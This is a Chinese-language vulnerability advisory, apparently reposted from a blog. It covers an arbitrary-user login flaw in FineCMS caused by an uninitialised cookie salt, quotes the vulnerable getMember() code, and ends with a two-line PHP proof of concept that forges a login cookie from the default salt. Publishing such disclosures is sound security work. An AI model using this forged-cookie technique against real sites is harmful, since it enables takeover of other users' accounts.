FineCMS 任意用户登录

技术 作者:HackerEye 2018-08-24 09:16:29
  1. 发布时间:2016-08-08
  2. 公开时间:N/A
  3. 漏洞类型:权限绕过
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2016-08-37389606
  6. 测试版本:N/A

漏洞详情

controllers\Common.php 行211
    protected function getMember() {
        if (get_cookie('member_id') && get_cookie('member_code')) {
            $uid  = (int)get_cookie('member_id');
            $code = get_cookie('member_code');
            if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) {
                $_memberinfo = $this->db->where('id', $uid)->get('member')->row_array();
                $member_table = $this->membermodel[$_memberinfo['modelid']]['tablename'];
                if ($member_table) {
                    $memberdata = $this->db->where('id', $uid)->get($member_table)->row_array();
                    if ($memberdata) {
                        $_memberinfo = array_merge($_memberinfo, $memberdata);
                        $this->memberedit    = 1; //不需要完善会员资料
                    }
                    if ($this->memberconfig['uc_use'] == 1 && function_exists('uc_api_mysql')) {
                        $uc = uc_api_mysql('user', 'get_user', array('username'=> $_memberinfo['username']));
                        if ($uc != 0) {
                            $_memberinfo['uid'] = $uc[0];
                        }
                    }
                    return $_memberinfo;
                }
            }
        }
        return false;
    }
可以看到 cookie的验证非常简单 if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) { 由于SITE_MEMBER_COOKIE 在安装时未初始化 所以使用默认值SITE_MEMBER_COOKIE就可以伪造cookie以任意用户身份登录前台 POC:
$id='2';
echo substr(md5('2967e68d382902a' . $id), 5, 20);
还是网上找的例子:http://www.xxx.com/ 成功登录uid=2的账号 作者:索马里的乌贼 链接:https://www.jianshu.com/p/cf7205e8103e

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接